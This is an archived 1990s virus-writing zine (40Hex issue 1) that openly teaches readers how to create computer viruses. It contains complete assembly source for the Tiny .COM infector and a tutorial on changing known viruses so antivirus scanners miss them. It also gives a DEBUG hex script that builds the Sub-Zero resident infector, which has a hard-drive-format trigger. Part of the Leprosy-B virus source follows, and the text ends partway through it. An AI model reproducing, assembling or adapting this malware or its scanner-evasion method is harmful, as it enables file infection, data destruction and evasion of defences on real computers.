home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / 40HEXX.ZIP / 40HEX001 next >
Text File  |  1998-01-21  |  45KB  |  1,040 lines

  1. 40H Vmag Issue 1 Volume 1                                               00000
  2.  
  3. Introduction -
  4.  
  5. This is a down and dirty zine on wich gives examples on writing viruses
  6. and this magazines contains code that can be compiled to viruses.
  7.  
  8. If you are an anti-virus pussy, who is just scared that your hard disk will
  9. get erased so you have a psycological problem with viruses, erase these
  10. files.  This aint for you.
  11.  
  12.  
  13.                                  INDEX
  14.  
  15.  
  16. 001...........................Virus Spotlight, The Tiny virus
  17. 002...........................How to modify viruses to avoid SCAN
  18. 003...........................Sub-Zero virus
  19. 004...........................Simple encryption techniques and Leprosy-B
  20. 005...........................1992 virus
  21.  
  22. Staff -
  23.  
  24.         Editior, Technical Consultant - Hellraiser
  25.         Co-Editor, Theory Consultant  - Bionic Slasher
  26.  
  27.  
  28.  
  29.  
  30. 40H Vmag Issue 1 Volume 1                                               00001
  31.  
  32.  
  33.                           - VIRUS SPOTLIGHT -
  34.  
  35.  
  36.      The first virus I would like to spotlight is the Tiny virus, lets see
  37. what our good friend Patti Hoffman (bitch) has written about it.
  38.  
  39.  Name:        Tiny
  40.  Aliases:     163 COM Virus, Tiny 163 Virus, Kennedy-163
  41.  V Status:    Rare
  42.  Discovery:   June, 1990
  43.  Symptoms:    COMMAND.COM & .COM file growth
  44.  Origin:      Denmark
  45.  Eff Length:  163 Bytes
  46.  Type Code:   PNCK - Parasitic Non-Resident .COM Infector
  47.  Detection Method:  ViruScan V64+, VirexPC, F-Prot 1.12+, NAV, IBM Scan 2.00+
  48.  Removal Instructions: Scan/D, F-Prot 1.12+, or Delete infectedfiles
  49.  General Comments:
  50.        The 163 COM Virus, or Tiny Virus, was isolated by Fridrik Skulason
  51.        of Iceland in June 1990.  This virus is a non-resident generic
  52.        .COM file infector, and it will infect COMMAND.COM.
  53.  
  54.        The first time a file infected with the 163 COM Virus is executed,
  55.        the virus will attempt to infect the first .COM file in the
  56.        current directory.  On bootable diskettes, this file will normally
  57.        be COMMAND.COM.  After the first .COM file is infected,each time
  58.        an infected program is executed another .COM file will attempt to
  59.        be infected.  Files are infected only if their original length is
  60.        greater than approximately 1K bytes.
  61.  
  62.        Infected .COM files will increase in length by 163 bytes, and have
  63.        date/time stamps in the directory changed to the date/time the
  64.        infection occurred.  Infected files will also always end with this
  65.        hex string: '2A2E434F4D00'.
  66.  
  67.        This virus currently does nothing but replicate, and is the
  68.        smallest MS-DOS virus known as of its isolation date.
  69.  
  70.        The Tiny Virus may or may not be related to the Tiny Family.
  71.        ^like she'd know the difference!
  72.  
  73. OK, Theres the run down on the smallest MS-DOS virus known to man.  As for
  74. it being detected by SCAN we'll see about that.
  75.  
  76. Here is a dissasembly of the virus, It can be assembled under Turbo Assembler
  77. or MASM.
  78.  
  79. -----------------------------------------------------------------------------
  80.  
  81. PAGE  59,132
  82.  
  83.  
  84. data_2e         equ     1ABh                    ;start of virus
  85.  
  86. seg_a           segment byte public             ;
  87.                 assume  cs:seg_a, ds:seg_a      ;assume cs, ds - code
  88.  
  89.  
  90.                 org     100h                    ;orgin of all COM files
  91. s               proc    far
  92.  
  93. start:
  94.                 jmp     loc_1                   ;jump to virus
  95.  
  96.  
  97. ;this is a replacement for an infected file
  98.  
  99.                 db      0CDh, 20h, 7, 8, 9      ;int 20h
  100.                                                 ;pop es
  101.  
  102. loc_1:
  103.                 call    sub_1                   ;
  104.  
  105.  
  106.  
  107. s               endp
  108.  
  109.  
  110. sub_1           proc    near                    ;
  111.                 pop     si                      ;locate all virus code via
  112.                 sub     si,10Bh                 ;si, cause all offsets will
  113.                 mov     bp,data_1[si]           ;change when virus infects
  114.                 add     bp,103h                 ;a COM file
  115.                 lea     dx,[si+1A2h]            ;offset of '*.COM',0 - via SI
  116.                 xor     cx,cx                   ;clear cx - find only normal
  117.                                                 ;attributes
  118.                 mov     ah,4Eh                  ;find first file
  119. loc_2:
  120.                 int     21h                     ;
  121.  
  122.                 jc      loc_6                   ;no files found? then quit
  123.                 mov     dx,9Eh                  ;offset of filename found
  124.                 mov     ax,3D02h                ;open file for read/write access
  125.                 int     21h                     ;
  126.  
  127.                 mov     bx,ax                   ;save handle into bx
  128.                 mov     ah,3Fh                  ;read from file
  129.                 lea     dx,[si+1A8h]            ;offset of save buffer
  130.                 mov     di,dx                   ;
  131.                 mov     cx,3                    ;read three bytes
  132.                 int     21h                     ;
  133.                 
  134.                 cmp     byte ptr [di],0E9h      ;compare buffer to virus id
  135.                                                 ;string
  136.                 je      loc_4                   ;
  137. loc_3:
  138.                 mov     ah,4Fh                  ;find the next file
  139.                 jmp     short loc_2             ;and test it
  140. loc_4:
  141.                 mov     dx,[di+1]               ;lsh of offset
  142.                 mov     data_1[si],dx           ;
  143.                 xor     cx,cx                   ;msh of offset
  144.                 mov     ax,4200h                ;set the file pointer
  145.                 int     21h                     ;
  146.  
  147.                 mov     dx,di                   ;buffer to save read
  148.                 mov     cx,2                    ;read two bytes
  149.                 mov     ah,3Fh                  ;read from file
  150.                 int     21h                     ;
  151.  
  152.                 cmp     word ptr [di],807h      ;compare buffer to virus id
  153.                 je      loc_3                   ;same? then find another file
  154.  
  155. ;heres where we infect a file
  156.  
  157.                 xor     dx,dx                   ;set file pointer
  158.                 xor     cx,cx                   ;ditto
  159.                 mov     ax,4202h                ;set file pointer
  160.                 int     21h                     ;
  161.  
  162.                 cmp     dx,0                    ;returns msh
  163.                 jne     loc_3                   ;not the same? find another file
  164.                 cmp     ah,0FEh                 ;lsh = 254???
  165.                 jae     loc_3                   ;if more or equal find another file
  166.  
  167.                 mov     ds:data_2e[si],ax       ;point to data
  168.                 mov     ah,40h                  ;write to file
  169.                 lea     dx,[si+105h]            ;segment:offset of write buffer
  170.                 mov     cx,0A3h                 ;write 163 bytes
  171.                 int     21h                     ;
  172.  
  173.                 jc      loc_5                   ;error? then quit
  174.                 mov     ax,4200h                ;set file pointer
  175.                 xor     cx,cx                   ;to the top of the file
  176.                 mov     dx,1                    ;
  177.                 int     21h                     ;
  178.  
  179.                 mov     ah,40h                  ;write to file
  180.                 lea     dx,[si+1ABh]            ;offset of jump to virus code
  181.                 mov     cx,2                    ;two bytes
  182.                 int     21h                     ;
  183.  
  184. ;now close the file
  185.  
  186. loc_5:
  187.                 mov     ah,3Eh                  ;close file
  188.                 int     21h                     ;
  189.  
  190. loc_6:
  191.                 jmp     bp                      ;jump to original file
  192.  
  193. data_1          dw      0                       ;
  194.                 db      '*.COM',0               ;wild card search string
  195.  
  196.  
  197. sub_1           endp
  198. seg_a           ends
  199.                 end     start
  200.  
  201.  
  202. -----------------------------------------------------------------------------
  203.  
  204. Its good to start off with a simple example like this.  As you can see
  205. what the virus does is use the DOS 4Eh function to find the firsy COM file
  206. in the directory.  If no files are found the program exits.  If a file is
  207. found it compares the virus id string (the virus jump instruction) to the
  208. first two bytes of the COM file.  If they match the program terminates.
  209. If they don't match the virus will infect the file.  Using two key MS-DOS
  210. functions to infect.
  211.  
  212. The first -
  213.  
  214. INT 21h Function 42h
  215. SET FILE POINTER
  216.  
  217. AH   =   42h
  218. AL   =   method code
  219. BX   =   file handle
  220. CX   =   most significant half to offset
  221. DX   =   least "                       "
  222.  
  223. If there is an error in executing this function the carry flag will be set,
  224. and AX will contian the error code.  If no error is encountered
  225.  
  226. DX   =   most significant half of file pointer
  227. AX   =   least "                             "
  228.  
  229.  
  230. The second (and most) important function used by any virus is
  231.  
  232.  
  233. INT 21h Function 40h
  234. WRITE TO FILE OR DEVICE
  235.  
  236. AH    =   40h
  237. BX    =   handle
  238. CX    =   number of bytes to write
  239. DS:DX =   segment of buffer
  240.  
  241. Returns
  242.  
  243. AX    =   bytes transferred
  244.  
  245. on error
  246.  
  247. AX    =  Error Code and flag is set.
  248.  
  249.  
  250. An example of Function 40h is ----
  251.  
  252.  
  253.      mov     ah,40h                   ;set function
  254.      mov     bx,handle                ;load bx with handle from prev open
  255.      mov     cx,virus_size            ;load cx with # of bytes to write
  256.      mov     dx,offset write_buffer   ;load dx with the offset of what to
  257.                                       ;write to file
  258.      int     21h                      ;
  259.  
  260.  
  261. This function is used by 98% of all MS-DOS viruses to copy itself to a
  262. victim file.
  263.  
  264.  
  265. Now heres a sample project -  create a new strain of Tiny, have it restore
  266. the original date and time etc...
  267.  
  268.                                                                           HR
  269. 40H Vmag Issue 1 Volume 1                                               00002
  270.  
  271.              -  HOW TO MODIFY A VIRUS SO SCAN WON'T CATCH IT -
  272.                                    OR
  273.                      HOW TO CREATE NEW VIRUS STRAINS
  274.  
  275.  
  276. The problem with most viruses is that this dickhead who lives in California
  277. named John Mcafee gets his greedy hands on them and turns them into big
  278. bucks -- for him.   John boy is the reason there are over 500 viruses out
  279. there, and I wouldn't doubt if he weren't resposible for  writing at least
  280. ten of them.
  281.  
  282. So the best thing to do to some Mcafee dependant sucker, or lame board is
  283. this.
  284.  
  285. Say you have a copy of a played out virus, lets say an older one like
  286. Armstand or Jerusalem.  Almost every virus scanner can detect these
  287. viruses cause they been around so long.  Now heres a quick way to modify
  288. viruses so the scanners wont catch them, in turn making them new strains.
  289.  
  290. The tools you need are --
  291.  
  292.                           Norton Utilites
  293.                           Debug          and/or
  294.                           Turbo Debugger by Borland
  295.  
  296. Now heres what you do.
  297.  
  298. Step A
  299. ------
  300.  
  301. Make a target file like this with Debug
  302.  
  303. Copy the below file with your editor to a file called SAMPLE.USR
  304.  
  305. -------------------------------------------------------------------------------
  306. n sample.com
  307. a
  308. int 20
  309.  
  310. rcx
  311. 2
  312. w
  313. q
  314. ------------------------------------------------------------------------------
  315. Then uses Debug to make the file SAMPLE.COM executing this command --
  316.  
  317. DEBUG < SAMPLE.USR
  318.  
  319. This will make a two byte called SAMPLE.COM
  320.  
  321.  
  322. STEP B
  323. ------
  324.  
  325. Infect the file with the virus.  If this is a boot sector virus your on
  326. your own.  Do whatever you have to to infect the two byte file.
  327.  
  328.  
  329. Make a copy of the file and keep it for safe keeping.
  330.  
  331. STEP C
  332. ------
  333.  
  334. Load up DISKEDIT, which comes with Norton 6.0 (I'm not sure if its in the
  335. lower versions) PCTOOLS Hex Editor will work too but it takes more work.
  336.  
  337. Now have DISKEDIT Hex-edit the infected file.
  338.  
  339. Now figure out where the middle of the file is.  Next put block on and
  340. go to the end of the file.  At the end of the file go to the edit screen and
  341. select fill.  Fill the lower half of the file will nonsense characters, its
  342. good to select 255d (FFh) the blank character.
  343.  
  344. Now save your changes and go to DOS
  345.  
  346. Now use SCAN to scan the file for viruses.  If it detects the virus you
  347. didnt delete the search string that SCAN is searching for.  Get it???
  348.  
  349. You see all SCAN does is search files for strings that are related to viruses.
  350. For example if SCAN was looking for CASCADE it look for something like this-
  351.  
  352.                         EB1DAD1273D1FF121F
  353.  
  354.  
  355. In every file you specify.  So what we are doing is narrowing down where that
  356. string is in the virus that SCAN keeps finding.
  357.  
  358. So what you have to do is keep deleting parts of the virus with DISKEDIT
  359. untill you finally narrow down the string.
  360.  
  361. Keep this in mind, search strings are in the first 150 bytes of the file
  362. about 75% of the time.
  363.  
  364. Ok lets say you narrowed down the search string and lets say it's -
  365.  
  366.                       B8 92 19 B7 21 CD
  367.  
  368. It will most likly be longer but this an example.
  369.  
  370. Now back to DEBUG - Do the following--
  371.  
  372. DEBUG
  373.  
  374. E 0100 b8 92 19 b7 21 cd    -- this is the string you found
  375.  
  376. Then type --
  377.  
  378. U
  379.  
  380. This will give you a unassembled look at what the id-string is.  In this
  381. example it was
  382.  
  383.  
  384.                        mov  ax,1992h
  385.                        mov  bx,21h
  386.                        int  21h
  387.  
  388.  
  389. Now this is what you have to do, and keep in mind the following ---
  390.  
  391. THE FOLLOWING TAKES A SOMEWHAT KNOWING OF ASSEMBLER AND HOW IT WORKS!!!!!!
  392.  
  393. Uses Turbo Debugger to find the string, you can use DEBUG but I don't know
  394. how to do this from debug.
  395.  
  396. Ok say you got the string on the screen --
  397.  
  398.                        mov  ax,1992h
  399.                        mov  bh,21h
  400.                        int  21h
  401.  
  402. Write down the locations in the file where these strings are.  Ex 0100h etc..
  403.  
  404. Now rearrange the AX mov with the BX mov like this ---
  405.  
  406.                         mov bh,21h
  407.                         mov ax,1992h
  408.                         int 21h
  409.  
  410. You see?  You didn't change the way the code functions (THATS IF YOU KNOW
  411. WHAT YOUR DOING!) but you changed the codes id-string for SCAN.
  412.  
  413. Now since Turbo Debugger dosent let you save the changes you must do it
  414. via - Debug.
  415.  
  416. DEBUG virus.com
  417.  
  418. a 0122  - This is the address of the string
  419.  
  420. Now enter the assembler instructions --
  421.  
  422.                          mov bh,21
  423.                          mov ax,1992h
  424.                          int 21h
  425.  
  426. w
  427.  
  428. q
  429.  
  430. Save it and SCAN it, if SCAN doesn't catch it Congrats.  If it does ---
  431. back to the lab.  Oh well you get the point.
  432.  
  433. One warning, this only works with un-encrypting viruses, or on the
  434. encryption mechanism of encrypting files (which will most likely be Scanned).
  435.  
  436. With that in mind, have fun.
  437.  
  438.                                                                            HR
  439. 40H Vmag Issue 1 Volume 1                                               00003
  440.  
  441.                            - SUB-ZERO VIRUS -
  442.  
  443.  
  444.  
  445.     Heres one for all of you who don't have an assembler.  It can be
  446. compiled using debug by naming the insert below SUB-ZERO.USR and
  447. executing the command -
  448.  
  449.                         DEBUG < SUB-ZERO.USR
  450.  
  451. ------------------------------------------------------------------------------
  452. n sub-zero.com
  453. e 0100  E9 92 00 DA AA A3 AA D4 3A A3 00 01 23 31 00 00
  454. e 0110  00 02 00 04 01 64 30 A0 06 55 2E 56 05 9F 19 A5
  455. e 0120  3E 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06
  456. e 0130  0E 97 30 80 00 00 00 80 00 97 30 5C 00 97 30 6C
  457. e 0140  00 97 30 00 40 46 63 F4 1D D0 5C 00 00 46 00 4D
  458. e 0150  5A A0 01 39 00 B4 02 AF 00 7C 04 7C A4 FA 05 10
  459. e 0160  07 84 19 C5 00 FA 05 1C 00 00 00 00 00 00 00 00
  460. e 0170  05 00 20 00 21 00 28 02 00 02 10 00 90 6A 00 00
  461. e 0180  B9 41 2A 97 4C 4F 52 44 20 53 4B 49 53 4D 20 01
  462. e 0190  00 00 00 00 00 FC B4 E0 CD 21 3D 00 E0 73 16 80
  463. e 01A0  FC 03 72 11 BF 00 01 B4 DD BE 10 07 03 F7 2E 8B
  464. e 01B0  8D 11 00 CD 21 8C C8 04 10 00 8E D0 BC 00 07 50
  465. e 01C0  B8 C5 00 50 CB 06 FC 2E 8C 06 31 00 2E 8C 06 39
  466. e 01D0  00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10 00
  467. e 01E0  2E 01 06 49 00 2E 01 06 45 00 B4 E0 CD 21 80 FC
  468. e 01F0  E0 73 13 80 FC 03 07 2E 8E 16 45 00 2E 8B 26 43
  469. e 0200  00 2E FF 2E 47 00 33 C0 8E C0 8B 89 31 DB 2E A3
  470. e 0210  4B 00 26 A0 FE 03 2E A2 4D 00 26 C7 06 FC 03 F3
  471. e 0220  A5 26 C6 06 FE 03 CB 58 04 10 90 8E C0 0E 1F B9
  472. e 0230  00 03 B1 88 33 F6 8B FE 06 B8 42 01 50 EA FC 03
  473. e 0240  00 00 8C C8 8E D0 BC 00 07 33 C0 8E D8 2E A1 4B
  474. e 0250  00 A3 FC 03 2E A0 4D 00 A2 FE 03 8B DC B1 04 D3
  475. e 0260  EB 83 C3 10 2E 89 1E 33 00 B4 4A 2E 8E 06 31 00
  476. e 0270  CD 21 B8 21 35 CD 21 2E 89 1E 17 00 2E 8C 06 19
  477. e 0280  00 0E 1F BA 5B 02 B8 21 25 CD 21 8E 06 31 00 26
  478. e 0290  8E 06 2C 00 33 FF B9 FF 7F 32 C0 F2 AE 26 38 05
  479. e 02A0  E0 F9 8B D7 83 C2 03 B8 00 4B 06 1F 0E 07 BB 35
  480. e 02B0  00 52 51 53 50 06 1E B4 2A CD 21 2E C6 06 0E 00
  481. e 02C0  00 81 F9 C6 07 74 30 3C 05 75 0D 80 FA 17 72 08
  482. e 02D0  2E FE 06 0E 00 EB 20 90 B8 08 35 CD 21 2E 89 1E
  483. e 02E0  13 00 2E 8C 06 15 00 0E 1F C7 06 1F 00 48 3F B8
  484. e 02F0  08 25 BA 1E 02 CD 21 1F 07 58 5B 59 5A 9C 2E FF
  485. e 0300  1E 17 00 1E 07 B4 49 CD 21 B4 4D CD 21 B4 31 BA
  486. e 0310  00 06 B1 04 D3 EA 83 C2 10 CD 21 32 C0 CF 2E 83
  487. e 0320  3E 1F 00 09 75 17 52 51 50 B4 2A CD 21 81 FA 06
  488. e 0330  06 75 07 B8 01 07 B2 80 CD 13 58 59 5A 2E 83 2E
  489. e 0340  1F 00 01 EB 11 20 20 53 75 62 2D 5A 65 72 6F 20
  490. e 0350  4E 59 48 43 20 20 2E FF 2E 13 00 9C 80 FC E0 75
  491. e 0360  05 B8 00 03 9D CF 80 FC DE 74 2D 80 FC DD 74 0E
  492. e 0370  3D 00 4B 75 03 E9 B4 00 9D 2E FF 2E 17 00 58 58
  493. e 0380  B8 00 01 2E A3 0A 00 58 2E A3 0C 00 F3 A4 9D 2E
  494. e 0390  A1 0F 00 2E FF 2E 0A 00 83 C4 06 9D 8C C8 8E D0
  495. e 03A0  BC 10 07 06 06 33 FF 0E 07 B9 10 00 8B F3 BF 21
  496. e 03B0  00 F3 A4 8C D8 8E C0 2E F7 26 7A 00 2E 03 06 2B
  497. e 03C0  00 83 D2 00 2E F7 36 7A 00 8E D8 8B F2 8B FA 8C
  498. e 03D0  C5 2E 8B 1E 2F 00 0B DB 74 13 B9 00 80 F3 A5 05
  499. e 03E0  00 10 81 C5 00 10 8E D8 8E C5 4B 75 ED 2E 8B 0E
  500. e 03F0  2D 00 F3 A4 58 50 05 10 00 2E 01 06 29 00 2E 01
  501. e 0400  06 25 00 2E A1 21 00 1F 07 2E 8E 16 29 00 2E 8B
  502. e 0410  26 27 00 2E FF 2E 23 00 33 C9 B8 01 43 CD 21 B4
  503. e 0420  3C CD 21 B8 00 4B 9D 2E FF 2E 17 00 2E 80 3E 0E
  504. e 0430  00 01 74 E4 2E C7 06 70 00 FF FF 2E C7 06 8F 00
  505. e 0440  00 00 2E 89 16 80 00 2E 8C 1E 82 00 50 53 51 52
  506. e 0450  56 57 1E 06 FC 8B FA 32 D2 80 7D 01 3A 75 05 8A
  507. e 0460  15 80 E2 1F B4 36 CD 21 3D FF FF 75 03 E9 77 02
  508. e 0470  F7 E3 F7 E1 0B D2 75 05 3D 10 07 72 F0 2E 8B 16
  509. e 0480  80 00 1E 07 32 C0 B9 41 00 F2 AE 2E 8B 36 80 00
  510. e 0490  8A 04 0A C0 74 0E 3C 61 72 07 3C 7A 77 03 80 2C
  511. e 04A0  20 46 EB EC B9 0B 00 2B F1 BF 84 00 0E 07 B9 0B
  512. e 04B0  00 F3 A6 75 03 E9 2F 02 B8 00 43 CD 21 72 05 2E
  513. e 04C0  89 0E 72 00 72 25 32 C0 2E A2 4E 00 1E 07 8B FA
  514. e 04D0  B9 41 00 F2 AE 80 7D FE 4D 74 0B 80 7D FE 6D 74
  515. e 04E0  05 2E FE 06 4E 00 B8 00 3D CD 21 72 5A 2E A3 70
  516. e 04F0  00 8B D8 B8 02 42 B9 FF FF BA FB FF CD 21 72 EB
  517. e 0500  05 05 00 2E A3 11 00 B9 05 00 BA 6B 00 8C C8 8E
  518. e 0510  D8 8E C0 B4 3F CD 21 8B FA BE 05 00 F3 A6 75 07
  519. e 0520  B4 3E CD 21 E9 C0 01 B8 24 35 CD 21 89 1E 1B 00
  520. e 0530  8C 06 1D 00 BA 1B 02 B8 24 25 CD 21 C5 16 80 00
  521. e 0540  33 C9 B8 01 43 CD 21 72 3B 2E 8B 1E 70 00 B4 3E
  522. e 0550  CD 21 2E C7 06 70 00 FF FF B8 02 3D CD 21 72 24
  523. e 0560  2E A3 70 00 8C C8 8E D8 8E C0 8B 1E 70 00 B8 00
  524. e 0570  57 CD 21 89 16 74 00 89 0E 76 00 B8 00 42 33 C9
  525. e 0580  8B D1 CD 21 72 3D 80 3E 4E 00 00 74 03 EB 57 90
  526. e 0590  BB 00 10 B4 48 CD 21 73 0B B4 3E 8B 1E 70 00 CD
  527. e 05A0  21 E9 43 01 FF 06 8F 00 8E C0 33 F6 8B FE B9 10
  528. e 05B0  07 F3 A4 8B D7 8B 0E 11 00 8B 1E 70 00 06 1F B4
  529. e 05C0  3F CD 21 72 1C 03 F9 33 C9 8B D1 B8 00 42 CD 21
  530. e 05D0  BE 05 00 B9 05 00 F3 2E A4 8B CF 33 D2 B4 40 CD
  531. e 05E0  21 72 0D E9 BC 00 B9 1C 00 BA 4F 00 B4 3F CD 21
  532. e 05F0  72 4A C7 06 61 00 84 19 A1 5D 00 A3 45 00 A1 5F
  533. e 0600  00 A3 43 00 A1 63 00 A3 47 00 A1 65 00 A3 49 00
  534. e 0610  A1 53 00 83 3E 51 00 00 74 01 48 F7 26 78 00 03
  535. e 0620  06 51 00 83 D2 00 05 0F 00 83 D2 00 25 F0 FF A3
  536. e 0630  7C 00 89 16 7E 00 05 10 07 83 D2 00 72 3A F7 36
  537. e 0640  78 00 0B D2 74 01 40 A3 53 00 89 16 51 00 A1 7C
  538. e 0650  00 8B 16 7E 00 F7 36 7A 00 2B 06 57 00 A3 65 00
  539. e 0660  C7 06 63 00 C5 00 A3 5D 00 C7 06 5F 00 10 07 33
  540. e 0670  C9 8B D1 B8 00 42 CD 21 72 0A B9 1C 00 BA 4F 00
  541. e 0680  B4 40 CD 21 72 11 3B C1 75 18 8B 16 7C 00 8B 0E
  542. e 0690  7E 00 B8 00 42 CD 21 72 09 33 D2 B9 10 07 B4 40
  543. e 06A0  CD 21 2E 83 3E 8F 00 00 74 04 B4 49 CD 21 2E 83
  544. e 06B0  3E 70 00 FF 74 31 2E 8B 1E 70 00 2E 8B 16 74 00
  545. e 06C0  2E 8B 0E 76 00 B8 01 57 CD 21 B4 3E CD 21 2E C5
  546. e 06D0  16 80 00 2E 8B 0E 72 00 B8 01 43 CD 21 2E C5 16
  547. e 06E0  1B 00 B8 24 25 CD 21 07 1F 5F 5E 5A 59 5B 58 9D
  548. e 06F0  2E FF 2E 17 00 00 00 00 00 00 00 00 00 00 00 00
  549. e 0700  4D 9F 19 00 10 00 00 00 45 44 00 45 4C 00 00 00
  550. e 0710  E9 92 00 DA AA A3 AA D4 3A A3 00 01 23 31 00 00
  551. e 0720  00 02 00 04 01 64 30 A0 06 55 2E 56 05 9F 19 A5
  552. e 0730  3E 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06
  553. e 0740  0E 97 30 80 00 00 00 80 00 97 30 5C 00 97 30 6C
  554. e 0750  00 97 30 00 40 46 63 F4 1D D0 5C 00 00 46 00 4D
  555. e 0760  5A A0 01 39 00 B4 02 AF 00 7C 04 7C A4 FA 05 10
  556. e 0770  07 84 19 C5 00 FA 05 1C 00 00 00 00 00 00 00 00
  557. e 0780  05 00 20 00 21 00 28 02 00 02 10 00 90 6A 00 00
  558. e 0790  B9 41 2A 97 4C 4F 52 44 20 53 4B 49 53 4D 20 01
  559. e 07A0  00 00 00 00 00 FC B4 E0 CD 21 3D 00 E0 73 16 80
  560. e 07B0  FC 03 72 11 BF 00 01 B4 DD BE 10 07 03 F7 2E 8B
  561. e 07C0  8D 11 00 CD 21 8C C8 04 10 00 8E D0 BC 00 07 50
  562. e 07D0  B8 C5 00 50 CB 06 FC 2E 8C 06 31 00 2E 8C 06 39
  563. e 07E0  00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10 00
  564. e 07F0  2E 01 06 49 00 2E 01 06 45 00 B4 E0 CD 21 80 FC
  565. e 0800  E0 73 13 80 FC 03 07 2E 8E 16 45 00 2E 8B 26 43
  566. e 0810  CD 20 A3 AA D4 3A A3 1A 1A 1A 1A 1A 1A 1A 1A 1A
  567.  
  568. rcx
  569. 717
  570. w
  571. q
  572. ------------------------------------------------------------------------------
  573.  
  574. Sub-Zero is a memory resident COM and EXE infector that is based somewhat on
  575. on Jerusalem-B.  It is the ansestor to the virus Captian Trips
  576. which at this time has not been nailed by SCAN.
  577.  
  578. Be carefull because this virus will most likly format you hard drive if you
  579. run it on the wrong day.  One day of the year it will perform a HD format.
  580. I think it's in June, hmmmm...  D-Day rings a bell.
  581.  
  582. As of Scan-77 this virus can not be detected by SCAN or F-Prot.
  583.  
  584.                                                                            HR
  585. 40H Vmag Issue 1 Volume 1                                               00004
  586.  
  587.                      - SIMPLE ENCRYPTION METHODS -
  588.  
  589.  
  590.     Encryption is perhaps one of the key parts of writing a virus.  If you
  591. have a virus that prints a message to the screen, you don't want infected
  592. files to contain that message.
  593.  
  594.     One easy way to encrypt data is the XOR method.  XOR is a matamatical
  595. function that can be used to cifer and decifer data with the same key.
  596.  
  597. Example --
  598.  
  599.               FF  xor  A1  =  5E
  600. byte to encrypt^       ^key   ^result
  601.  
  602. and likewise
  603.  
  604.               5E  xor  A1  =  FF
  605.  
  606. So as you can see an easy way to encrypt/decrypt sensitve data is with the
  607. XOR function.
  608.  
  609. A popular virus that demonstrates this teqnique is Leprosy-B.  By studing the
  610. below example you are on the way to make simple encrypted viruses.
  611.  
  612. ------------------------------------------------------------------------------
  613.  
  614. ;  <LEPROSYB.ASM>   -   Leprosy-B Virus Source
  615. ;                       Copy-ya-right (c) 1990 by PCM2.
  616. ;
  617. ;  This file is the source code to the Leprosy-B virus.  It should
  618. ;  be assembled with an MASM-compatible assembler; it has been tested
  619. ;  and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
  620. ;  It should be made into a .COM file before executing, with either
  621. ;  the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
  622. ;
  623. ;  This program has the potential to permanently destroy executable
  624. ;  images on any disk medium.  Other modifications may have been made
  625. ;  subsequent to the original release by the author, either benign,
  626. ;  or which could result in further harm should this program be run.
  627. ;  In any case, the author assumes no responsibility for any damage
  628. ;  caused by this program, incidental or otherwise.  As a precaution,
  629. ;  this program should not be turned over to irresponsible hands...
  630. ;  (unlike people like us, that is).
  631.  
  632.  
  633.                 title   "Leprosy-B Virus by PCM2, August 1990"
  634.  
  635. cr              equ     13              ;  Carriage return ASCII code
  636. lf              equ     10              ;  Linefeed ASCII code
  637. tab             equ     9               ;  Tab ASCII code
  638. virus_size      equ     666             ;  Size of the virus file
  639. code_start      equ     100h            ;  Address right after PSP in memory
  640. dta             equ     80h             ;  Addr of default disk transfer area
  641. datestamp       equ     24              ;  Offset in DTA of file's date stamp
  642. timestamp       equ     22              ;  Offset in DTA of file's time stamp
  643. filename        equ     30              ;  Offset in DTA of ASCIIZ filename
  644. attribute       equ     21              ;  Offset in DTA of file attribute
  645.  
  646.  
  647.         code    segment 'code'          ;  Open code segment
  648.         assume  cs:code,ds:code         ;  One segment for both code & data
  649.                 org     code_start      ;  Start code image after PSP
  650.  
  651. ;---------------------------------------------------------------------
  652. ;  All executable code is contained in boundaries of procedure "main".
  653. ;  The following code, until the start of "virus_code", is the non-
  654. ;  encrypted CMT portion of the code to load up the real program.
  655. ;---------------------------------------------------------------------
  656. main    proc    near                    ;  Code execution begins here
  657.         call    encrypt_decrypt         ;  Decrypt the real virus code
  658.         jmp     random_mutation         ;  Put the virus into action
  659.  
  660. encrypt_val     db      00h             ;  Hold value to encrypt by here
  661.  
  662. ; ----------  Encrypt, save, and restore the virus code  -----------
  663. infect_file:
  664.         mov     bx,handle               ;  Get the handle
  665.         push    bx                      ;  Save it on the stack
  666.         call    encrypt_decrypt         ;  Encrypt most of the code
  667.         pop     bx                      ;  Get back the handle
  668.         mov     cx,virus_size           ;  Total number of bytes to write
  669.         mov     dx,code_start           ;  Buffer where code starts in memory
  670.         mov     ah,40h                  ;  DOS write-to-handle service
  671.         int     21h                     ;  Write the virus code into the file
  672.         call    encrypt_decrypt         ;  Restore the code as it was
  673.         ret                             ;  Go back to where you came from
  674.  
  675. ; ---------------  Encrypt or decrypt the virus code  ----------------
  676. encrypt_decrypt:
  677.         mov     bx,offset virus_code    ;  Get address to start encrypt/decrypt
  678. xor_loop:                               ;  Start cycle here
  679.         mov     ah,[bx]                 ;  Get the current byte
  680.         xor     ah,encrypt_val          ;  Engage/disengage XOR scheme on it
  681.         mov     [bx],ah                 ;  Put it back where we got it
  682.         inc     bx                      ;  Move BX ahead a byte
  683.         cmp     bx,offset virus_code+virus_size  ;  Are we at the end?
  684.         jle     xor_loop                ;  If not, do another cycle
  685.         ret                             ;  and go back where we came from
  686.  
  687. ;-----------------------------------------------------------------------
  688. ;   The rest of the code from here on remains encrypted until run-time,
  689. ;   using a fundamental XOR technique that changes via CMT.
  690. ;-----------------------------------------------------------------------
  691. virus_code:
  692.  
  693. ;----------------------------------------------------------------------------
  694. ;  All strings are kept here in the file, and automatically encrypted.
  695. ;  Please don't be a lamer and change the strings and say you wrote a virus.
  696. ;  Because of Cybernetic Mutation Technology(tm), the CRC of this file often
  697. ;  changes, even when the strings stay the same.
  698. ;----------------------------------------------------------------------------
  699. exe_filespec    db      "*.EXE",0
  700. com_filespec    db      "*.COM",0
  701. newdir          db      "..",0
  702. fake_msg        db      cr,lf,"Program too big to fit in memory$"
  703. virus_msg1      db      cr,lf,tab,"ATTENTION!  Your computer has been afflicted with$"
  704. virus_msg2      db      cr,lf,tab,"the incurable decay that is the fate wrought by$"
  705. virus_msg3      db      cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
  706. virus_msg4      db      cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
  707. compare_buf     db      20 dup (?)      ;  Buffer to compare files in
  708. files_found     db      ?
